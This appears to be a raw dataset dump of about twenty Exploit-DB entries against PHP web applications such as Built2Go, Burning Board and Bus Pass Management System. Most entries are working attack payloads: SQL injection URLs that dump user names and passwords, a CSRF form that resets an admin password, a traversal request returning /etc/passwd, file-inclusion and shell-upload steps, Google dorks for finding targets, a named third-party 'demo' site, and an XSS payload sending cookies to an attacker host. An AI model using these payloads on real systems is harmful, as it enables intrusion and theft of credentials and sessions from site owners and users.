deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6697
Description: Built2Go PHP Realestate 1.5 - 'event_detail.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-07
Author: d3v1l

Exploit:
[~]-----------------------------------------------------------------------------
[~] Built2Go PHP RealEstate v1.5 (event_detail.php) - SQL Injection Vulnerability
[~]
[~] [A professional real estate listings website.
[~] Lists homes for sale and apartments for rent,
[~] and provides a powerful search similar to the professional realtor websites.
[~] Allow visitors to list for free, or enforce free or paid registrations.]
[~] Price :- $69.95
[~] http://www.hotscripts.com/Detailed/59295.html
[~] ----------------------------------------------------------
[~] Bug founded by d3v1l
[~]
[~] Date: 07.10.2008
[~]
[~]
[~] d3v1l@spoofer.com  http://security-sh3ll.com
[~]
[~] -----------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] Pentest
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/event_detail.php?event_id=-1 UNION SELECT
1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7/*
[~]
[~] Demo :-
[~]
[~] http://www.agrents.com/event_detail.php?event_id=-1 UNION SELECT 1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7/*
[~]
[~]--------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-10-07]
Exploit-DB #39013
Description: Built2Go PHP Shopping - Cross-Site Request Forgery (Admin Password)
Type: webapps
Platform: php
Date: 2014-01-08
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64735/info

Built2Go PHP Shopping is prone to a cross-site request-forgery vulnerability.

Exploiting the issue will allow a remote attacker to use a victim's currently active session to change the victim's password. Successful exploits will compromise affected computers. 

<form method=ΟΔ?¬ùPOSTΟΔ?¬ù name=ΟΔ?¬ùform0? action=ΟΔ?¬ù http://www.example.com/adminpanel/edit_admin.phpΟΔ?¬ù>
<input type=ΟΔ?¬ùhiddenΟΔ?¬ù name=ΟΔ?¬ùuseridΟΔ?¬ù value=ΟΔ?¬ùADMINΟΔ?¬ù/>
<input type=ΟΔ?¬ùhiddenΟΔ?¬ù name=ΟΔ?¬ùpassΟΔ?¬ù value=ΟΔ?¬ù12121212?/>
<input type=ΟΔ?¬ùhiddenΟΔ?¬ù name=ΟΔ?¬ùretypepassΟΔ?¬ù value=ΟΔ?¬ù12121212?/>
<input type=ΟΔ?¬ùhiddenΟΔ?¬ù name=ΟΔ?¬ùaddnewΟΔ?¬ù value=ΟΔ?¬ù1?/>
<input type=ΟΔ?¬ùhiddenΟΔ?¬ù name=ΟΔ?¬ùactionΟΔ?¬ù value=ΟΔ?¬ùsaveΟΔ?¬ù/>
<input type=ΟΔ?¬ùhiddenΟΔ?¬ù name=ΟΔ?¬ùnewΟΔ?¬ù value=ΟΔ?¬ùSubmitΟΔ?¬ù/>
</form>
Exploit-DB #15811
Description: Built2Go PHP Shopping - SQL Injection
Type: webapps
Platform: php
Date: 2010-12-23
Author: Br0ly

Exploit:
Script Name: Built2Go PHP Shopping  ( version ) <= 1.7
Site: http://built2go.com/
Script Demo: http://demos.built2go.com/shopping/1/
Found: Br0ly
Google Dork: "Powered by Built2Go PHP Shopping"

p0c:

http://server.com/product.php?cat=16'%20UNION%20ALL%20SELECT%201,@@version,3/*

xPloit:

http://server.com/product.php?cat=[sqli]

Brazil ;D
Exploit-DB #47773
Description: Bullwark Momentum Series JAWS 1.0 - Directory Traversal
Type: webapps
Platform: php
Date: 2019-12-12
Author: numan türle

Exploit:
# Title: Bullwark Momentum Series JAWS 1.0 - Directory Traversal
# Date: 2019-12-11
# Author: Numan Türle
# Vendor Homepage: http://www.bullwark.net/
# Version : Bullwark Momentum Series Web Server JAWS/1.0
# Software Link : http://www.bullwark.net/Kategoriler.aspx?KategoriID=24

POC
---------

GET /../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 12.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

Response
---------

root:ABgia2Z.lfFhA:0:0::/root:/bin/sh
Exploit-DB #3809
Description: burnCMS 0.2 - 'root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-27
Author: GoLd_M

Exploit:
# burnCMS <= 0.2(root)Remote File Include Vulnerablities
# D.Script: http://www.burnstone.ch/downloads/burnCMS-0.2.zip
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path_burnCMS]/lib/authuser.php?root=Shell
# Exploit:[Path_burnCMS]/lib/misc.php?root=Shell
# Exploit:[Path_burnCMS]/lib/connect.php?root=Shell
# Exploit:[Path_burnCMS]/lib/db/mysql.class.php?root=Shell
# Exploit:[Path_burnCMS]/lib/db/postgres.class.php?root=Shell
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group & cRiMiNaL NeT

# milw0rm.com [2007-04-27]
Exploit-DB #21380
Description: Burning Board 1.1.1 - 'URL' Manipulation
Type: webapps
Platform: php
Date: 2002-04-15
Author: SeazoN

Exploit:
source: https://www.securityfocus.com/bid/4512/info

Burning Board is web forum software. It is written in PHP, back-ended by MySQL, and will run on most Unix and Linux variants as well as Microsoft Windows.

An attacker may allegedly create a malicious link which is capable of causing actions to be performed on the behalf of a legitimate Burning Board user who visits the link. To exploit this vulnerability, the attacker must manipulate URL parameters in the malicious link in such a way as to cause the desired actions to be performed by a user who visits the link. The legitimate forum user must also be authenticated via a cookie-based authentication credential. The malicious link may include BBCode.

It has been reported, but not confirmed, that other web forum software (such as phpBB) may also be affected by this vulnerability. 

1. Create a script exploit.php

exploit.php // with php U can dynamicaly redirect to the same treads & boardid (parsing $HTTP_REFERER)
<?php
header ("Location:
http://localhost/wbboard/reply.php?threadid=7&boardid=58&action=send&subject=check%20this%20out&message=test[IMG]http://localhost/~seazon/art/
eros/236.jpg[/IMG]&signature=1"); /* Redirect browser*/
?>


2.Register in forum
3.Send a message like this
"Hey, I know how to exploit this forum [URL]http://host.com/exploit.php[/URL]"
Exploit-DB #17413
Description: Burning Board 3.1.5 - Full Path Disclosure
Type: webapps
Platform: php
Date: 2011-06-19
Author: linc0ln.dll

Exploit:
---------------------------------------------------------------------
Exploit Title : Burning Board 3.1.5 Full Path Disclosure
---------------------------------------------------------------------

Author      : linc0ln.dll
Date        : 19/06/11
Site        : http://linc0ln.pl/
@  	    : linc0ln[at]e-o-u.org
---------------------------------------------------------------------

Description >

Category    : WebApps
Dork        : "Powered by Burning Board"
Vendor 	    : http://www.woltlab.com/
Tested On   : Windows 7
---------------------------------------------------------------------

FPD         >

>> http://127.0.0.1/[path]/index.php?s[]=FPD
---------------------------------------------------------------------

---------------------------------------------------------------------

\ \  / /                 /\
-HACKED-  \\{__}//      /((\
/ /  \ \   \|aa|/        ) )
 _____vvvV__(oo)__Vvvv__(_(_
|            ``             |
|      .::Greetz To::.      |
| [synthelyps.c]  [fight3r] |
| [Mario_Vs]      [n1k0n3r] |
| [EoU Team]  [Skynet Crew] |
| And All The Other Friends |
|___________________________|
             ';;;;;(  )`
               \ \/ \ \//
              _/_/ _/ /
             vvvV^ Vvvv
Exploit-DB #12485
Description: Burning Board Lite 1.0.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-05-02
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Burning Board Lite 1.0.2 Upload Shell Vulnerability            
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com                                                                                                                                                                                                               
| # Script   : Powered by Burning Board Lite 1.0.2    
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Upload Shell                                                              
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1- http://127.0.0.1/wbblite/register.php (2 register)
 
 2- http://127.0.0.1/wbblite/usercp.php?action=avatars&sid=&page=1 (2 Upload)
 
 3- http://127.0.0.1/wbblite/images/avatars/ (2 F!nd it )
 
Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ====================
Greetz : Exploit-db Team
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.sa-hacker.com *  www.alkrsan.net * www.mormoroth.net * MR.SoOoFe * ThE g0bL!N
------------------------------------------------------------------------------------------------------------------------
Exploit-DB #43336
Description: Bus Booking Script 1.0 - 'txtname' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-14
Author: Ihsan Sencan

Exploit:
<!--
# # # # # 
# Exploit Title: Bus Booking Script 1.0 - SQL Injection
# Dork: N/A
# Date: 13.12.2017
# Vendor Homepage: http://www.phpautoclassifiedscript.com/
# Software Link: http://www.phpautoclassifiedscript.com/bus-booking-script.html
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-17645
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
-->
<html>
<body>
<form action="http://localhost/newbusbooking/admin/index.php" method="post" enctype="application/x-www-form-urlencoded" name="frmlogin" target="_self">
<input name="txtname" type="text" value="' UNION ALL SELECT 0x31,0x[PII_REDACTED]59415249,0x33,0x34,0x35-- Ver Ayari"></div>
<input name="logbut" id="logbut" type="submit"></div>
</form>
</body>
</html>
Exploit-DB #51242
Description: Bus Pass Management System 1.0  - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-04-05
Author: Matteo Conti

Exploit:
# Exploit Title: Bus Pass Management System 1.0  - Stored Cross-Site Scripting (XSS)
# Date: 2021-09-17
# Exploit Author: Matteo Conti - https://deltaspike.io
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/wp-content/uploads/2021/07/Bus-Pass-Management-System-Using-PHP-MySQL.zip
# Version: 1.0
# Tested on: Ubuntu 18.04 - LAMP

# Description
The application permits to send a message to the admin from the section "contacts". Including a XSS payload in title or message,
maybe also in email bypassing the client side controls, the payload will be executed when the admin will open the message to read it.


# Vulnerable page: /admin/view-enquiry.php?viewid=1 (change the "view id" according to the number of the message)

# Tested Payload: <img src=http://localhost/buspassms/images/overlay.png width=0 height=0 onload=this.src='http://<YOUR-IP>:<YOUR-PORT>/?'+document.cookie>

# Prof of concept:

- From /contact.php, send a message containing the following payload in "title" or "message" fields:

<img src=http://localhost/buspassms/images/overlay.png width=0 height=0 onload=this.src='http://<YOUR-IP>:<YOUR-PORT>/?'+document.cookie>
(the first url have to be an existing image)

- Access with admin credentials, enter to /admin/unreadenq.php and click "view" near the new message to execute the payload. After the first view, you can execute again the payload from /admin/readenq.php

- Your listener will receive the PHP session id.
Exploit-DB #50272
Description: Bus Pass Management System 1.0 - 'adminname' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-09-09
Author: Emre Aslan

Exploit:
# Exploit Title: Bus Pass Management System 1.0 - 'adminname' Stored Cross-Site Scripting (XSS)
# Date: 2021-09-08
# Exploit Author: Emre Aslan
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/wp-content/uploads/2021/07/Bus-Pass-Management-System-Using-PHP-MySQL.zip
# Version: 1.0
# Tested on: Windows 11 - XAMPP Server

# Vulnerable page: host/admin/*

# Vulnerable Code: <div class="user-info"><div><strong>Admin[PAYLOAD]</strong></div>

# Vulnerable Parameter: adminname[ POST Data ]

# Tested Payload: <svg/onload=alert('XSS')>

# Proof Of Concept:

# 1 - Login the dashboard
# 2 - Go to /admin/admin-profile.php
# 3 - set admin name with payload
# 4 - xss fires
Exploit-DB #50543
Description: Bus Pass Management System 1.0 - 'Search' SQL injection
Type: webapps
Platform: php
Date: 2021-11-23
Author: Abhijeet Singh

Exploit:
# Exploit Title: Bus Pass Management System 1.0 - 'Search' SQL injection
# Date: 23-11-2021
# Exploit Author: Abhijeet Singh
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/bus-pass-management-system-using-php-and-mysql/
# Version: v-1.0 (Default)
# Tested on: macOS Monterey(Version 12.0.1)

*SQL Injection:*
SQL injection is a web security vulnerability that allows an attacker to alter the SQL queries made to the database. This can be used to retrieve some sensitive information, like database structure, tables, columns, and their underlying data.

*Attack Vector:*
An attacker can compromise the database of the application using some automated(or manual) tools like SQLmap.

*Steps to reproduce:*
Step-1: Open 'View Pass' page using following URL:
http://127.0.0.1/buspassms/download-pass.php


2. Now put the below payload in the 'Search' field.
*Payload: *123' AND (SELECT 7169 FROM (SELECT(SLEEP(4)))abhi) AND 'x'='x

3. Server accepted our payload and the response got delayed by 4 seconds.

*IMPACT:*
As the vulnerable parameter is an external parameter (credentials not
required), an attacker can dump the database of the application remotely.

Suggested Mitigation/Remediation Actions
Parameterized queries should be used to separate the command and data
portions of the intended query to the database. These queries prevent
an attacker from tampering with the query logic and extending a
concatenated database query string. Code reviews should be conducted
to identify any additional areas where the application or other
applications in the organization are vulnerable to this attack.
Additionally, input validation should be enforced on the server side
in order to ensure that only expected data is sent in queries. Where
possible security specific libraries should be used in order to
provide an additional layer of protection.
Exploit-DB #50263
Description: Bus Pass Management System 1.0 - 'viewid' Insecure direct object references (IDOR)
Type: webapps
Platform: php
Date: 2021-09-06
Author: sudoninja

Exploit:
# Exploit Title: Bus Pass Management System 1.0 - 'viewid' Insecure direct object references (IDOR)
# Date: 2021-09-05
# Exploit Author: sudoninja
# Vendor Homepage: https://phpgurukul.com/bus-pass-management-system-using-php-and-mysql
# Software Link: https://phpgurukul.com/wp-content/uploads/2021/07/Bus-Pass-Management-System-Using-PHP-MySQL.zip
# Version: 1.0
# Tested on: Windows 10 - XAMPP Server

# Vulnerable page :

http://localhost/buspassms/admin/view-pass-detail.php?viewid=4

# Vulnerable paramater :

The viewid paramater is Vulnerable to Insecure direct object references (IDOR)

# Proof Of Concept :

# 1 . Download And install [ bus-pass-management-system ]
# 2 . Go to /admin/index.php and Enter Username & Password 
# 3 . Navigate to search >> search pass
# 4 . Click on the view and enter the change viewid into the Url

Use :
http://localhost/buspassms/admin/view-pass-detail.php?viewid=[change id]
Exploit-DB #50235
Description: Bus Pass Management System 1.0 - 'viewid' SQL Injection
Type: webapps
Platform: php
Date: 2021-08-30
Author: Aryan Chehreghani

Exploit:
# Exploit Title: Bus Pass Management System 1.0 - 'viewid' SQL Injection
# Date: 2021-08-28
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://phpgurukul.com/bus-pass-management-system-using-php-and-mysql
# Software Link: https://phpgurukul.com/wp-content/uploads/2021/07/Bus-Pass-Management-System-Using-PHP-MySQL.zip
# Version: 1.0
# Tested on: Windows 10 - Wamp Server

# Vulnerable page :

http://localhost/buspassms/admin/view-pass-detail.php?viewid=

# Vulnerable paramater :

The viewid paramater is Vulnerable to sqli

# Proof Of Concept :

# 1 . Download And install [ bus-pass-management-system ]
# 2 . Go to /admin/index.php and Enter Username & Password 
# 3 . Navigate to passes >> manage pass
# 4 . Click on the view and enter the sql payload into the Url

Use : http://localhost/buspassms/admin/view-pass-detail.php?viewid=1'[Sql Payload]
Exploit-DB #51054
Description: Bus Pass Management System 1.0 - Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-03-25
Author: Ali Alipour

Exploit:
# Exploit Title: Bus Pass Management System 1.0 - Cross-Site Scripting (XSS)
# Date: 2022-07-02
# Exploit Author: Ali Alipour
# Vendor Homepage: https://phpgurukul.com/bus-pass-management-system-using-php-and-mysql
# Software Link: https://phpgurukul.com/wp-content/uploads/2021/07/Bus-Pass-Management-System-Using-PHP-MySQL.zip
# Version: 1.0
# Tested on: Windows 10 Pro x64 - XAMPP Server
# CVE : CVE-2022-35155


#Issue Detail:

The value of the searchdata request parameter is copied into the HTML document as plain text between tags. The payload cyne7<script>alert(1)</script>yhltm was submitted in the searchdata parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

# Vulnerable page: /buspassms/download-pass.php

# Vulnerable Parameter: searchdata [ POST Data ]

#Request : 

POST /buspassms/download-pass.php HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=s5iomgj8g4gj5vpeeef6qfb0b3
Origin: https://127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
Referer: https://127.0.0.1/buspassms/download-pass.php
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 25

searchdata=966196cyne7%3cscript%3ealert(1)%3c%2fscript%3eyhltm&search=



#Response : 

HTTP/1.1 200 OK
Date: Fri, 01 Jul 2022 00:14:25 GMT
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.8
X-Powered-By: PHP/7.4.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 6425
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
<head>
<title>Bus Pass Management System || Pass Page</title>

<script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLba
...[SNIP]...
<h4 style="padding-bottom: 20px;">Result against "966196cyne7<script>alert(1)</script>yhltm" keyword </h4>
...[SNIP]...
Exploit-DB #51712
Description: Bus Reservation System 1.1 - Multiple-SQLi
Type: webapps
Platform: php
Date: 2023-09-04
Author: nu11secur1ty

Exploit:
## Title: Bus Reservation System-1.1 Multiple-SQLi
## Author: nu11secur1ty
## Date: 08/26/2023
## Vendor: https://www.phpjabbers.com/
## Software: https://demo.phpjabbers.com/[PII_REDACTED]_628/preview.php?lid=1
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The `pickup_id` parameter appears to be vulnerable to SQL injection
attacks. The payload ' was submitted in the pickup_id parameter, and a
database error message was returned. You should review the contents of
the error message, and the application's handling of other input, to
confirm whether a vulnerability is present. The attacker can steal
information from all database!

STATUS: HIGH-CRITICAL Vulnerability

[+]Payload:
```mysql
---
Parameter: pickup_id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: controller=pjFrontEnd&action=pjActionGetLocations&locale=1&hide=0&index=6138&pickup_id=(SELECT
(CASE WHEN (3959=3959) THEN 0x3927 ELSE (SELECT 8499 UNION SELECT
2098) END))&session_id=

    Type: error-based
    Title: MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)
    Payload: controller=pjFrontEnd&action=pjActionGetLocations&locale=1&hide=0&index=6138&pickup_id=GTID_SUBSET(CONCAT(0x71626b7a71,(SELECT
(ELT(5210=5210,1))),0x716a6b7171),5210)&session_id=

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: controller=pjFrontEnd&action=pjActionGetLocations&locale=1&hide=0&index=6138&pickup_id=(SELECT
2616 FROM (SELECT(SLEEP(15)))clIR)&session_id=
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Bus-Reservation-System-1.1-Multiple-SQLi)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/08/bus-reservation-system-11-multiple-sqli.html)

## Time spend:
00:25:00
Exploit-DB #9633
Description: Bus Script - 'sitetext_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-10
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( aboutus.php sitetext_id )
##
## Bus Script
##
## http://www.tourismscripts.com/
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: ExploiteS :]]-
##
## www.TraGeT.CoM/aboutus.php?sitetext_id=-1'+UNION+SELECT+0,CONCAT_WS(0x3a3a,user_name,password),0+FROM+user/*
## www.TraGeT.CoM/faq.php?sitetext_id=-1'+UNION+SELECT+0,CONCAT_WS(0x3a3a,user_name,password),0+FROM+user/*
##
########################
########################
 

#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                        
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: User-Ma$keN :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2009-09-10]